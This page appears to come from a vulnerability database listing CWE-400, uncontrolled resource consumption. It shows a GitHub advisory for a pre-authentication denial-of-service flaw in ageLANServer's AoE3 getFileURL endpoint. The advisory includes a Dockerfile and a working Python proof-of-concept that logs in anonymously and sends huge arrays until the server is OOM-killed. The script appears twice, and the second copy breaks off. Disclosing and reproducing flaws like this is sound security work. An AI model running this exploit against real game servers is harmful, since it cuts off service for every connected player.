CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
6465 vulnerabilities reference this CWE, most recent first.
GHSA-4JFQ-PMQ9-257H
Vulnerability from github – Published: 2026-10-09 20:44 – Updated: 2026-10-09 20:44Summary
The AoE3 POST /game/cloud/getFileURL handler in luskaner/ageLANServer's bundled game server decodes an attacker-controlled names JSON array and immediately allocates response storage sized directly from the array's length (make(i.A, len(req.Names.Data))), with no request body size limit and no cap on the number of array elements anywhere in the request path. Because the default configuration ships with Authentication = 'disabled', any network client can obtain a session through unauthenticated platform login and then send a single crafted request that forces the server to allocate memory proportional to attacker-chosen input. Dynamic testing against an unmodified build confirmed both large memory-amplification growth from a single request and a full server process kill via the kernel OOM killer when a memory-constrained instance received a few concurrent oversized requests. This is a high-severity, pre-authentication (self-registration only) remote denial-of-service vulnerability (CVSS 3.1 Base Score 7.5, CWE-400).
Details
server/internal/routes/game/cloud/getFileURL.go defines the request struct and handler for the AoE3 cloud "get file URL" endpoint:
type getFileURLRequest struct {
Names i.Json[[]string] `json:"names"`
}
func GetFileURL(w http.ResponseWriter, r *http.Request) {
var req getFileURLRequest
err := i.Bind(r, &req)
...
descriptions := make(i.A, len(req.Names.Data))
for j, name := range req.Names.Data {
...
Names is typed as i.Json[[]string], a wrapper whose UnmarshalText is invoked by encoding/json whenever the incoming JSON value for names is itself a string, so the attacker supplies a JSON-string-encoded array (e.g. {"names":"[\"x\",\"x\",...]"}). The request body is decoded in server/internal/http.go's Bind() via json.NewDecoder(r.Body).Decode(data), with no http.MaxBytesReader, no LimitReader, and no MaxHeaderBytes configured on the http.Server in server/internal/cmd/root.go. There is also no branch-neutral cap on len(req.Names.Data) — the same unbounded length is also used at getFileURL.go:27 (slices.Repeat(i.A{nil}, len(req.Names.Data)) when the cloud file cache is empty) in addition to the make(i.A, len(req.Names.Data)) sink at line 30.
Because len() on the attacker-supplied slice is used directly as an allocation size with no upper bound, an attacker can force the server to allocate memory (and CPU cycles decoding/iterating) proportional to the size of a single HTTP request body, which is itself unbounded.
Reaching this code path requires only a valid session, not real game ownership or credentials:
- The endpoint is registered for the AoE3 title at server/internal/routes/router/game.go:267.
- server/internal/routes/router/sessionMiddleware.go:23-36 only checks that sessionID resolves to an existing session — it performs no additional authorization.
- The default configuration server/resources/config/config.toml sets Authentication = 'disabled'. Combined with server/internal/routes/game/login/platformlogin.go, which issues a session for any client-supplied accountType/platformUserID without verifying it against a real platform, an attacker can obtain a valid sessionID with a single unauthenticated platformlogin request and no prior credentials.
Data flow (source → sink):
1. server/resources/unix/start_age3.sh:4 (or start_age3.bat) starts the release server with -e age3, the default supported way to run the AoE3 server.
2. server/internal/routes/router/game.go:267 registers POST /game/cloud/getFileURL.
3. server/internal/routes/router/sessionMiddleware.go:23-36 accepts any request bearing a valid sessionID.
4. server/internal/http.go decodes the JSON body into getFileURLRequest with no size limiting.
5. server/internal/routes/game/cloud/getFileURL.go:13-19 binds the attacker-controlled names array into req.Names.
6. server/internal/routes/game/cloud/getFileURL.go:27 and :30 allocate slices sized directly by len(req.Names.Data).
PoC
Environment: Docker (see Dockerfile), which builds the unmodified server and genCert binaries directly from the repository source at commit 405b9a9 (equivalent to the previously reported 870b90c) and starts the AoE3 server (./server -e age3) with the shipped default configuration (Authentication = 'disabled'), only disabling LAN announcement broadcast since it is irrelevant to the sandboxed reproduction.
Build and run:
docker build -f vuln-001/Dockerfile -t agelan-vuln001 repo
docker run -d --name agelan-vuln001-test -p 8443:443 --memory=300m agelan-vuln001
Attack script: poc.py (see file for full source). At a high level it:
1. Calls POST /game/login/platformlogin with an arbitrary Steam-style accountType/platformUserID/macAddress to obtain a session id, exploiting the default Authentication = 'disabled' setting.
2. Sends a small baseline POST /game/cloud/getFileURL?sessionID=<id> request (names array with 5 elements) and records server RSS before/after via docker exec ... cat /proc/1/status.
3. Sends a single request with names containing 2,000,000 elements and records the resulting RSS growth relative to request size (memory amplification).
4. Against the same container restarted with --memory=300m, fires 3 concurrent requests each with names containing 3,000,000 elements, then inspects docker inspect state to check for an OOM kill.
python3 poc.py --host 127.0.0.1 --port 8443 --container agelan-vuln001-test
Observed results (Phase 2 dynamic reproduction, unmodified source):
- Baseline request (names count = 5, 43 request bytes): server RSS unchanged (16928 KB → 16928 KB).
- Single moderately large request (names count = 2,000,000, 12,000,013 request bytes): server RSS jumped from 16,984 KB to 224,724 KB — a growth of 207,740 KB from a ~11.4 MB request (~17.73x amplification of request size in RSS growth).
- Concurrent attack phase against the same container limited to --memory=300m: 3 concurrent requests of names count = 3,000,000 each (18,000,013 bytes each) were sent; all 3 connections failed with RemoteDisconnected: Remote end closed connection without response. docker inspect confirmed the container transitioned from status=running, OOMKilled=false to status=exited, OOMKilled=true, ExitCode=137 — the kernel OOM killer terminated the server process.
No source code in the target repository was modified for this reproduction; the container builds and runs the vulnerable code exactly as shipped.
Impact
This is a remote, network-reachable, pre-authentication (self-registration-only) denial-of-service vulnerability (CWE-400: Uncontrolled Resource Consumption). Any client able to reach the AoE3 game server's HTTPS listener — the default and documented way to run ageLANServer for Age of Empires III — can obtain a session via the default unauthenticated login flow and then crash or hang the server process with a single well-crafted HTTP request or a small number of concurrent requests, without needing legitimate game credentials, prior interaction, or user interaction. Impact is availability-only (no confidentiality or integrity impact observed): all players connected to the affected LAN server lose service until the operator restarts the process.
Reproduction artifacts
Dockerfile
# syntax=docker/dockerfile:1
#
# VULN-001 PoC image for luskaner/ageLANServer.
# Builds the *unmodified* server and genCert binaries straight from the cloned
# repository source (no source-code edits) and runs the AoE3 game server so the
# unbounded-allocation "names" array bug in
# server/internal/routes/game/cloud/getFileURL.go
# can be triggered over the network exactly as an attacker would.
#
# Build context MUST be the ageLANServer repository root, e.g.:
# docker build -f vuln-001/Dockerfile -t agelan-vuln001 <path-to-repo>
FROM golang:1.26-alpine3.24 AS compiler
WORKDIR /app
COPY common common
COPY battle-server-broadcast battle-server-broadcast
COPY server server
COPY server-genCert server-genCert
# Combines tools/server-docker/Dockerfile/server/go.work.template and
# .../genCert/go.work.template so both the server and genCert binaries
# (both needed for this PoC) can be built from one module workspace.
RUN printf 'go 1.26.0\n\ntoolchain go1.26.5\n\nuse (\n\tcommon\n\tbattle-server-broadcast\n\tserver\n\tserver-genCert\n)\n' > go.work
RUN mkdir build
RUN cp -r server/resources build/resources && rm -rf build/resources/windows && rm -rf build/resources/unix
RUN mkdir -p build/resources/certificates
RUN go build -o build/server ./server
RUN mkdir build/bin
RUN go build -o build/bin/genCert ./server-genCert
FROM alpine:3.24
EXPOSE 443/tcp
WORKDIR /app/server
COPY --from=compiler /app/build/resources resources
COPY --from=compiler /app/build/server .
# genCert must live one directory below the server binary (server/bin/genCert)
# because it locates the server's resources folder via a relative
# "../resources" walk from its own executable path (see
# server-genCert/internal/cmd/root.go), same layout as the project's own
# tools/server-docker/Dockerfile/genCert/Dockerfile.
COPY --from=compiler /app/build/bin bin
# Authentication stays at the shipped default ('disabled', see
# server/resources/config/config.toml) - nothing about the vulnerable
# behavior is modified here. Announcement is turned off only because the
# sandbox network does not need LAN discovery for this PoC.
ENV AGELANSERVER_SERVER_Announcement_Enabled=false
ENTRYPOINT ["/bin/sh", "-c", "./bin/genCert --ignoreIfExisting && exec ./server -e age3 --log --flatLog --logRoot=/app/server/logs"]
poc.py
#!/usr/bin/env python3
"""
VULN-001 PoC: unbounded memory allocation via the "names" array in the
AoE3 `POST /game/cloud/getFileURL` endpoint of luskaner/ageLANServer
(server/internal/routes/game/cloud/getFileURL.go:30).
The handler does:
descriptions := make(i.A, len(req.Names.Data))
with `req.Names.Data` being an attacker-controlled JSON string array decoded
with no size/body/array-length limit anywhere in the stack
(server/internal/http.go Bind() -> json.NewDecoder(r.Body).Decode()).
This script:
1. Logs in anonymously (Authentication is 'disabled' by default) to obtain
a session id via /game/login/platformlogin.
2. Sends a small, harmless getFileURL request as a baseline.
3. Sends a single moderately large getFileURL request and measures the
server process RSS growth relative to the request body size
(memory amplification evidence).
4. Sends several large getFileURL requests concurrently against a
memory-constrained container and checks whether Docker's cgroup OOM
killer terminates the server process (crash evidence).
Only targets 127.0.0.1 / a local Docker container. No external hosts are
contacted, no credentials are used, and the target repository source code
is never modified.
"""
import argparse
import concurrent.futures
import http.client
import json
import ssl
import subprocess
import sys
import time
import urllib.parse
DEFAULT_HOST = "127.0.0.1"
DEFAULT_SNI_HOST = "aoe-api.reliclink.com" # matches common.GameHosts() for age3
def make_connection(host, port, timeout=30):
ctx = ssl._create_unverified_context()
return http.client.HTTPSConnection(host, port, context=ctx, timeout=timeout)
def platform_login(host, port, sni_host, platform_user_id, mac_suffix):
conn = make_connection(host, port)
body = urllib.parse.urlencode({
"accountType": "STEAM",
"platformUserID": str(platform_user_id),
"alias": "poc",
"title": "age3",
"macAddress": "00:11:22:33:44:%02x" % mac_suffix,
"clientLibVersion": "100",
})
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Host": sni_host,
}
conn.request("POST", "/game/login/platformlogin", body=body, headers=headers)
resp = conn.getresponse()
data = resp.read()
conn.close()
parsed = json.loads(data)
session_id = parsed[1]
if not session_id:
raise RuntimeError("platformlogin did not return a session id: %r" % (parsed,))
return session_id
def build_get_file_url_body(names_count):
# getFileURLRequest.Names is i.Json[[]string]; i.Json.UnmarshalText is
# invoked by encoding/json only when the JSON value is itself a string,
# so the array must be double-encoded: {"names": "[\"x\",\"x\",...]"}.
inner = ",".join([r'\"x\"'] * names_count)
return ('{"names":"[' + inner + ']"}').encode()
def send_get_file_url(host, port, sni_host, session_id, names_count, timeout=30):
body = build_get_file_url_body(names_count)
conn = make_connection(host, port, timeout=timeout)
path = "/game/cloud/getFileURL?sessionID=%s" % urllib.parse.quote(session_id)
headers = {
"Content-Type": "application/json",
"Host": sni_host,
}
start = time.time()
try:
conn.request("POST", path, body=body, headers=headers)
resp = conn.getresponse()
data = resp.read()
elapsed = time.time() - start
return {
"ok": True,
"status": resp.status,
"response_bytes": len(data),
"request_bytes": len(body),
"elapsed_sec": round(elapsed, 3),
}
except Exception as exc:
elapsed = time.time() - start
return {
"ok": False,
"error": "%s: %s" % (type(exc).__name__, exc),
"request_bytes": len(body),
"elapsed_sec": round(elapsed, 3),
}
finally:
try:
conn.close()
except Exception:
pass
def docker_exec_rss_kb(container):
try:
out = subprocess.run(
["docker", "exec", container, "cat", "/proc/1/status"],
capture_output=True, text=True, timeout=10,
)
if out.returncode != 0:
return None
for line in out.stdout.splitlines():
if line.startswith("VmRSS:"):
return int(line.split()[1])
except Exception:
return None
return None
def docker_inspect_state(container):
try:
out = subprocess.run(
["docker", "inspect", container, "--format",
"{{.State.Status}}|{{.State.OOMKilled}}|{{.State.ExitCode}}"],
capture_output=True, text=True, timeout=10,
)
if out.returncode != 0:
return None
status, oom_killed, exit_code = out.stdout.strip().split("|")
return {
"status": status,
"oom_killed": oom_killed == "true",
"exit_code": int(exit_code),
}
except Exception:
return None
def main():
parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
parser.add_argument("--host", default=DEFAULT_HOST, help="Server address (must be local). Default: 127.0.0.1")
parser.add_argument("--port", type=int, default=8443, help="Server HTTPS port as published by Docker. Default: 8443")
parser.add_argument("--sni-host", default=DEFAULT_SNI_HOST, help="Host header the server routes as the Game handler")
parser.add_argument("--container", default="agelan-vuln001-test", help="Docker container name to inspect for OOM / RSS evidence")
parser.add_argument("--baseline-names-count", type=int, default=5, help="Array length for the harmless baseline request")
parser.add_argument("--moderate-names-count", type=int, default=2_000_000, help="Array length for the single non-destructive amplification request")
parser.add_argument("--attack-names-count", type=int, default=3_000_000, help="Array length per concurrent request in the crash phase")
parser.add_argument("--attack-concurrency", type=int, default=3, help="Number of concurrent oversized requests fired at the container")
parser.add_argument("--skip-crash-phase", action="store_true", help="Only run the baseline + amplification phases (no OOM attempt)")
args = parser.parse_args()
result = {"host": args.host, "port": args.port, "container": args.container}
print("== Phase 1: anonymous login (Authentication='disabled' by default) ==")
session_baseline = platform_login(args.host, args.port, args.sni_host, 7656119800000101, 0x01)
print("Obtained session id: %s" % session_baseline)
result["session_id_baseline"] = session_baseline
print("\n== Phase 2: baseline getFileURL request (names count=%d) ==" % args.baseline_names_count)
rss_before_baseline = docker_exec_rss_kb(args.container)
baseline_resp = send_get_file_url(args.host, args.port, args.sni_host, session_baseline, args.baseline_names_count)
rss_after_baseline = docker_exec_rss_kb(args.container)
print("Response: %s" % baseline_resp)
print("Server RSS before/after (KB): %s / %s" % (rss_before_baseline, rss_after_baseline))
result["baseline"] = {
"response": baseline_resp,
"server_rss_kb_before": rss_before_baseline,
"server_rss_kb_after": rss_after_baseline,
}
print("\n== Phase 3: single moderately large getFileURL request (names count=%d) ==" % args.moderate_names_count)
session_moderate = platform_login(args.host, args.port, args.sni_host, 7656119800000102, 0x02)
rss_before_moderate = docker_exec_rss_kb(args.container)
moderate_resp = send_get_file_url(args.host, args.port, args.sni_host, session_moderate, args.moderate_names_count)
rss_after_moderate = docker_exec_rss_kb(args.container)
print("Response: %s" % moderate_resp)
print("Server RSS before/after (KB): %s / %s" % (rss_before_moderate, rss_after_moderate))
amplification = None
if rss_after_moderate is not None and rss_before_moderate is not None and moderate_resp.get("request_bytes"):
rss_growth_kb = rss_after_moderate - rss_before_moderate
amplification = round((rss_growth_kb * 1024) / moderate_resp["request_bytes"], 2)
print("Memory amplification: %d KB RSS growth from a %d byte request (~%sx request size)" % (
rss_growth_kb, moderate_resp["request_bytes"], amplification))
result["moderate_amplification"] = {
"response": moderate_resp,
"server_rss_kb_before": rss_before_moderate,
"server_rss_kb_after": rss_after_moderate,
"amplification_ratio": amplification,
}
if args.skip_crash_phase:
print(json.dumps(result, indent=2))
return 0
print("\n== Phase 4: concurrent oversized getFileURL requests against the memory-constrained container ==")
state_before = docker_inspect_state(args.container)
print("Container state before attack: %s" % state_before)
result["container_state_before_attack"] = state_before
sessions = []
for idx in range(args.attack_concurrency):
sess = platform_login(args.host, args.port, args.sni_host, 7656119800000200 + idx, 0x10 + idx)
sessions.append(sess)
print("Obtained %d attacker sessions: %s" % (len(sessions), sessions))
attack_responses = []
with concurrent.futures.ThreadPoolExecutor(max_workers=args.attack_concurrency) as pool:
futures = [
pool.submit(send_get_file_url, args.host, args.port, args.sni_host, sess, args.attack_names_count, 60)
for sess in sessions
]
for fut in concurrent.futures.as_completed(futures):
attack_responses.append(fut.result())
print("Attack request outcomes: %s" % attack_responses)
result["attack_responses"] = attack_responses
state_after = None
for _ in range(15):
time.sleep(1)
state_after = docker_inspect_state(args.container)
if state_after and state_after["status"] != "running":
break
print("Container state after attack: %s" % state_after)
result["container_state_after_attack"] = state_after
oom_killed = bool(state_after and state_after.get("oom_killed"))
result["oom_killed"] = oom_killed
result["verdict"] = "VULNERABLE (container OOM-killed by attacker-controlled allocation)" if oom_killed else "NOT REPRODUCED (container survived)"
print("\n== Result ==")
print(json.dumps(result, indent=2))
return 0 if oom_killed else 1
if __name__ == "__main__":
sys.exit(main())
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/luskaner/ageLANServer/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.8.2-0.20260809203301-1dd40166a593"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-107839"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-09T20:44:54Z",
"nvd_published_at": "2026-10-09T18:17:05Z",
"severity": "HIGH"
},
"details": "### Summary\nThe AoE3 `POST /game/cloud/getFileURL` handler in `luskaner/ageLANServer`\u0027s bundled game server decodes an attacker-controlled `names` JSON array and immediately allocates response storage sized directly from the array\u0027s length (`make(i.A, len(req.Names.Data))`), with no request body size limit and no cap on the number of array elements anywhere in the request path. Because the default configuration ships with `Authentication = \u0027disabled\u0027`, any network client can obtain a session through unauthenticated platform login and then send a single crafted request that forces the server to allocate memory proportional to attacker-chosen input. Dynamic testing against an unmodified build confirmed both large memory-amplification growth from a single request and a full server process kill via the kernel OOM killer when a memory-constrained instance received a few concurrent oversized requests. This is a high-severity, pre-authentication (self-registration only) remote denial-of-service vulnerability (CVSS 3.1 Base Score 7.5, CWE-400).\n\n### Details\n`server/internal/routes/game/cloud/getFileURL.go` defines the request struct and handler for the AoE3 cloud \"get file URL\" endpoint:\n\n```go\ntype getFileURLRequest struct {\n\tNames i.Json[[]string] `json:\"names\"`\n}\n\nfunc GetFileURL(w http.ResponseWriter, r *http.Request) {\n\tvar req getFileURLRequest\n\terr := i.Bind(r, \u0026req)\n\t...\n\tdescriptions := make(i.A, len(req.Names.Data))\n\tfor j, name := range req.Names.Data {\n\t...\n```\n\n`Names` is typed as `i.Json[[]string]`, a wrapper whose `UnmarshalText` is invoked by `encoding/json` whenever the incoming JSON value for `names` is itself a string, so the attacker supplies a JSON-string-encoded array (e.g. `{\"names\":\"[\\\"x\\\",\\\"x\\\",...]\"}`). The request body is decoded in `server/internal/http.go`\u0027s `Bind()` via `json.NewDecoder(r.Body).Decode(data)`, with no `http.MaxBytesReader`, no `LimitReader`, and no `MaxHeaderBytes` configured on the `http.Server` in `server/internal/cmd/root.go`. There is also no branch-neutral cap on `len(req.Names.Data)` \u2014 the same unbounded length is also used at `getFileURL.go:27` (`slices.Repeat(i.A{nil}, len(req.Names.Data))` when the cloud file cache is empty) in addition to the `make(i.A, len(req.Names.Data))` sink at line 30.\n\nBecause `len()` on the attacker-supplied slice is used directly as an allocation size with no upper bound, an attacker can force the server to allocate memory (and CPU cycles decoding/iterating) proportional to the size of a single HTTP request body, which is itself unbounded.\n\nReaching this code path requires only a valid session, not real game ownership or credentials:\n- The endpoint is registered for the AoE3 title at `server/internal/routes/router/game.go:267`.\n- `server/internal/routes/router/sessionMiddleware.go:23-36` only checks that `sessionID` resolves to an existing session \u2014 it performs no additional authorization.\n- The default configuration `server/resources/config/config.toml` sets `Authentication = \u0027disabled\u0027`. Combined with `server/internal/routes/game/login/platformlogin.go`, which issues a session for any client-supplied `accountType`/`platformUserID` without verifying it against a real platform, an attacker can obtain a valid `sessionID` with a single unauthenticated `platformlogin` request and no prior credentials.\n\nData flow (source \u2192 sink):\n1. `server/resources/unix/start_age3.sh:4` (or `start_age3.bat`) starts the release server with `-e age3`, the default supported way to run the AoE3 server.\n2. `server/internal/routes/router/game.go:267` registers `POST /game/cloud/getFileURL`.\n3. `server/internal/routes/router/sessionMiddleware.go:23-36` accepts any request bearing a valid `sessionID`.\n4. `server/internal/http.go` decodes the JSON body into `getFileURLRequest` with no size limiting.\n5. `server/internal/routes/game/cloud/getFileURL.go:13-19` binds the attacker-controlled `names` array into `req.Names`.\n6. `server/internal/routes/game/cloud/getFileURL.go:27` and `:30` allocate slices sized directly by `len(req.Names.Data)`.\n\n### PoC\nEnvironment: Docker (see `Dockerfile`), which builds the **unmodified** `server` and `genCert` binaries directly from the repository source at commit `405b9a9` (equivalent to the previously reported `870b90c`) and starts the AoE3 server (`./server -e age3`) with the shipped default configuration (`Authentication = \u0027disabled\u0027`), only disabling LAN announcement broadcast since it is irrelevant to the sandboxed reproduction.\n\nBuild and run:\n```bash\ndocker build -f vuln-001/Dockerfile -t agelan-vuln001 repo\ndocker run -d --name agelan-vuln001-test -p 8443:443 --memory=300m agelan-vuln001\n```\n\nAttack script: `poc.py` (see file for full source). At a high level it:\n1. Calls `POST /game/login/platformlogin` with an arbitrary Steam-style `accountType`/`platformUserID`/`macAddress` to obtain a session id, exploiting the default `Authentication = \u0027disabled\u0027` setting.\n2. Sends a small baseline `POST /game/cloud/getFileURL?sessionID=\u003cid\u003e` request (`names` array with 5 elements) and records server RSS before/after via `docker exec ... cat /proc/1/status`.\n3. Sends a single request with `names` containing 2,000,000 elements and records the resulting RSS growth relative to request size (memory amplification).\n4. Against the same container restarted with `--memory=300m`, fires 3 concurrent requests each with `names` containing 3,000,000 elements, then inspects `docker inspect` state to check for an OOM kill.\n\n```bash\npython3 poc.py --host 127.0.0.1 --port 8443 --container agelan-vuln001-test\n```\n\nObserved results (Phase 2 dynamic reproduction, unmodified source):\n- Baseline request (`names` count = 5, 43 request bytes): server RSS unchanged (16928 KB \u2192 16928 KB).\n- Single moderately large request (`names` count = 2,000,000, 12,000,013 request bytes): server RSS jumped from 16,984 KB to 224,724 KB \u2014 a growth of 207,740 KB from a ~11.4 MB request (~17.73x amplification of request size in RSS growth).\n- Concurrent attack phase against the same container limited to `--memory=300m`: 3 concurrent requests of `names` count = 3,000,000 each (18,000,013 bytes each) were sent; all 3 connections failed with `RemoteDisconnected: Remote end closed connection without response`. `docker inspect` confirmed the container transitioned from `status=running, OOMKilled=false` to `status=exited, OOMKilled=true, ExitCode=137` \u2014 the kernel OOM killer terminated the server process.\n\nNo source code in the target repository was modified for this reproduction; the container builds and runs the vulnerable code exactly as shipped.\n\n### Impact\nThis is a remote, network-reachable, pre-authentication (self-registration-only) denial-of-service vulnerability (CWE-400: Uncontrolled Resource Consumption). Any client able to reach the AoE3 game server\u0027s HTTPS listener \u2014 the default and documented way to run `ageLANServer` for Age of Empires III \u2014 can obtain a session via the default unauthenticated login flow and then crash or hang the server process with a single well-crafted HTTP request or a small number of concurrent requests, without needing legitimate game credentials, prior interaction, or user interaction. Impact is availability-only (no confidentiality or integrity impact observed): all players connected to the affected LAN server lose service until the operator restarts the process.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# syntax=docker/dockerfile:1\n#\n# VULN-001 PoC image for luskaner/ageLANServer.\n# Builds the *unmodified* server and genCert binaries straight from the cloned\n# repository source (no source-code edits) and runs the AoE3 game server so the\n# unbounded-allocation \"names\" array bug in\n# server/internal/routes/game/cloud/getFileURL.go\n# can be triggered over the network exactly as an attacker would.\n#\n# Build context MUST be the ageLANServer repository root, e.g.:\n# docker build -f vuln-001/Dockerfile -t agelan-vuln001 \u003cpath-to-repo\u003e\n\nFROM golang:1.26-alpine3.24 AS compiler\nWORKDIR /app\nCOPY common common\nCOPY battle-server-broadcast battle-server-broadcast\nCOPY server server\nCOPY server-genCert server-genCert\n# Combines tools/server-docker/Dockerfile/server/go.work.template and\n# .../genCert/go.work.template so both the server and genCert binaries\n# (both needed for this PoC) can be built from one module workspace.\nRUN printf \u0027go 1.26.0\\n\\ntoolchain go1.26.5\\n\\nuse (\\n\\tcommon\\n\\tbattle-server-broadcast\\n\\tserver\\n\\tserver-genCert\\n)\\n\u0027 \u003e go.work\nRUN mkdir build\nRUN cp -r server/resources build/resources \u0026\u0026 rm -rf build/resources/windows \u0026\u0026 rm -rf build/resources/unix\nRUN mkdir -p build/resources/certificates\nRUN go build -o build/server ./server\nRUN mkdir build/bin\nRUN go build -o build/bin/genCert ./server-genCert\n\nFROM alpine:3.24\nEXPOSE 443/tcp\nWORKDIR /app/server\nCOPY --from=compiler /app/build/resources resources\nCOPY --from=compiler /app/build/server .\n# genCert must live one directory below the server binary (server/bin/genCert)\n# because it locates the server\u0027s resources folder via a relative\n# \"../resources\" walk from its own executable path (see\n# server-genCert/internal/cmd/root.go), same layout as the project\u0027s own\n# tools/server-docker/Dockerfile/genCert/Dockerfile.\nCOPY --from=compiler /app/build/bin bin\n# Authentication stays at the shipped default (\u0027disabled\u0027, see\n# server/resources/config/config.toml) - nothing about the vulnerable\n# behavior is modified here. Announcement is turned off only because the\n# sandbox network does not need LAN discovery for this PoC.\nENV AGELANSERVER_SERVER_Announcement_Enabled=false\nENTRYPOINT [\"/bin/sh\", \"-c\", \"./bin/genCert --ignoreIfExisting \u0026\u0026 exec ./server -e age3 --log --flatLog --logRoot=/app/server/logs\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC: unbounded memory allocation via the \"names\" array in the\nAoE3 `POST /game/cloud/getFileURL` endpoint of luskaner/ageLANServer\n(server/internal/routes/game/cloud/getFileURL.go:30).\n\nThe handler does:\n descriptions := make(i.A, len(req.Names.Data))\nwith `req.Names.Data` being an attacker-controlled JSON string array decoded\nwith no size/body/array-length limit anywhere in the stack\n(server/internal/http.go Bind() -\u003e json.NewDecoder(r.Body).Decode()).\n\nThis script:\n 1. Logs in anonymously (Authentication is \u0027disabled\u0027 by default) to obtain\n a session id via /game/login/platformlogin.\n 2. Sends a small, harmless getFileURL request as a baseline.\n 3. Sends a single moderately large getFileURL request and measures the\n server process RSS growth relative to the request body size\n (memory amplification evidence).\n 4. Sends several large getFileURL requests concurrently against a\n memory-constrained container and checks whether Docker\u0027s cgroup OOM\n killer terminates the server process (crash evidence).\n\nOnly targets 127.0.0.1 / a local Docker container. No external hosts are\ncontacted, no credentials are used, and the target repository source code\nis never modified.\n\"\"\"\n\nimport argparse\nimport concurrent.futures\nimport http.client\nimport json\nimport ssl\nimport subprocess\nimport sys\nimport time\nimport urllib.parse\n\nDEFAULT_HOST = \"127.0.0.1\"\nDEFAULT_SNI_HOST = \"aoe-api.reliclink.com\" # matches common.GameHosts() for age3\n\n\ndef make_connection(host, port, timeout=30):\n ctx = ssl._create_unverified_context()\n return http.client.HTTPSConnection(host, port, context=ctx, timeout=timeout)\n\n\ndef platform_login(host, port, sni_host, platform_user_id, mac_suffix):\n conn = make_connection(host, port)\n body = urllib.parse.urlencode({\n \"accountType\": \"STEAM\",\n \"platformUserID\": str(platform_user_id),\n \"alias\": \"poc\",\n \"title\": \"age3\",\n \"macAddress\": \"00:11:22:33:44:%02x\" % mac_suffix,\n \"clientLibVersion\": \"100\",\n })\n headers = {\n \"Content-Type\": \"application/x-www-form-urlencoded\",\n \"Host\": sni_host,\n }\n conn.request(\"POST\", \"/game/login/platformlogin\", body=body, headers=headers)\n resp = conn.getresponse()\n data = resp.read()\n conn.close()\n parsed = json.loads(data)\n session_id = parsed[1]\n if not session_id:\n raise RuntimeError(\"platformlogin did not return a session id: %r\" % (parsed,))\n return session_id\n\n\ndef build_get_file_url_body(names_count):\n # getFileURLRequest.Names is i.Json[[]string]; i.Json.UnmarshalText is\n # invoked by encoding/json only when the JSON value is itself a string,\n # so the array must be double-encoded: {\"names\": \"[\\\"x\\\",\\\"x\\\",...]\"}.\n inner = \",\".join([r\u0027\\\"x\\\"\u0027] * names_count)\n return (\u0027{\"names\":\"[\u0027 + inner + \u0027]\"}\u0027).encode()\n\n\ndef send_get_file_url(host, port, sni_host, session_id, names_count, timeout=30):\n body = build_get_file_url_body(names_count)\n conn = make_connection(host, port, timeout=timeout)\n path = \"/game/cloud/getFileURL?sessionID=%s\" % urllib.parse.quote(session_id)\n headers = {\n \"Content-Type\": \"application/json\",\n \"Host\": sni_host,\n }\n start = time.time()\n try:\n conn.request(\"POST\", path, body=body, headers=headers)\n resp = conn.getresponse()\n data = resp.read()\n elapsed = time.time() - start\n return {\n \"ok\": True,\n \"status\": resp.status,\n \"response_bytes\": len(data),\n \"request_bytes\": len(body),\n \"elapsed_sec\": round(elapsed, 3),\n }\n except Exception as exc:\n elapsed = time.time() - start\n return {\n \"ok\": False,\n \"error\": \"%s: %s\" % (type(exc).__name__, exc),\n \"request_bytes\": len(body),\n \"elapsed_sec\": round(elapsed, 3),\n }\n finally:\n try:\n conn.close()\n except Exception:\n pass\n\n\ndef docker_exec_rss_kb(container):\n try:\n out = subprocess.run(\n [\"docker\", \"exec\", container, \"cat\", \"/proc/1/status\"],\n capture_output=True, text=True, timeout=10,\n )\n if out.returncode != 0:\n return None\n for line in out.stdout.splitlines():\n if line.startswith(\"VmRSS:\"):\n return int(line.split()[1])\n except Exception:\n return None\n return None\n\n\ndef docker_inspect_state(container):\n try:\n out = subprocess.run(\n [\"docker\", \"inspect\", container, \"--format\",\n \"{{.State.Status}}|{{.State.OOMKilled}}|{{.State.ExitCode}}\"],\n capture_output=True, text=True, timeout=10,\n )\n if out.returncode != 0:\n return None\n status, oom_killed, exit_code = out.stdout.strip().split(\"|\")\n return {\n \"status\": status,\n \"oom_killed\": oom_killed == \"true\",\n \"exit_code\": int(exit_code),\n }\n except Exception:\n return None\n\n\ndef main():\n parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)\n parser.add_argument(\"--host\", default=DEFAULT_HOST, help=\"Server address (must be local). Default: 127.0.0.1\")\n parser.add_argument(\"--port\", type=int, default=8443, help=\"Server HTTPS port as published by Docker. Default: 8443\")\n parser.add_argument(\"--sni-host\", default=DEFAULT_SNI_HOST, help=\"Host header the server routes as the Game handler\")\n parser.add_argument(\"--container\", default=\"agelan-vuln001-test\", help=\"Docker container name to inspect for OOM / RSS evidence\")\n parser.add_argument(\"--baseline-names-count\", type=int, default=5, help=\"Array length for the harmless baseline request\")\n parser.add_argument(\"--moderate-names-count\", type=int, default=2_000_000, help=\"Array length for the single non-destructive amplification request\")\n parser.add_argument(\"--attack-names-count\", type=int, default=3_000_000, help=\"Array length per concurrent request in the crash phase\")\n parser.add_argument(\"--attack-concurrency\", type=int, default=3, help=\"Number of concurrent oversized requests fired at the container\")\n parser.add_argument(\"--skip-crash-phase\", action=\"store_true\", help=\"Only run the baseline + amplification phases (no OOM attempt)\")\n args = parser.parse_args()\n\n result = {\"host\": args.host, \"port\": args.port, \"container\": args.container}\n\n print(\"== Phase 1: anonymous login (Authentication=\u0027disabled\u0027 by default) ==\")\n session_baseline = platform_login(args.host, args.port, args.sni_host, 7656119800000101, 0x01)\n print(\"Obtained session id: %s\" % session_baseline)\n result[\"session_id_baseline\"] = session_baseline\n\n print(\"\\n== Phase 2: baseline getFileURL request (names count=%d) ==\" % args.baseline_names_count)\n rss_before_baseline = docker_exec_rss_kb(args.container)\n baseline_resp = send_get_file_url(args.host, args.port, 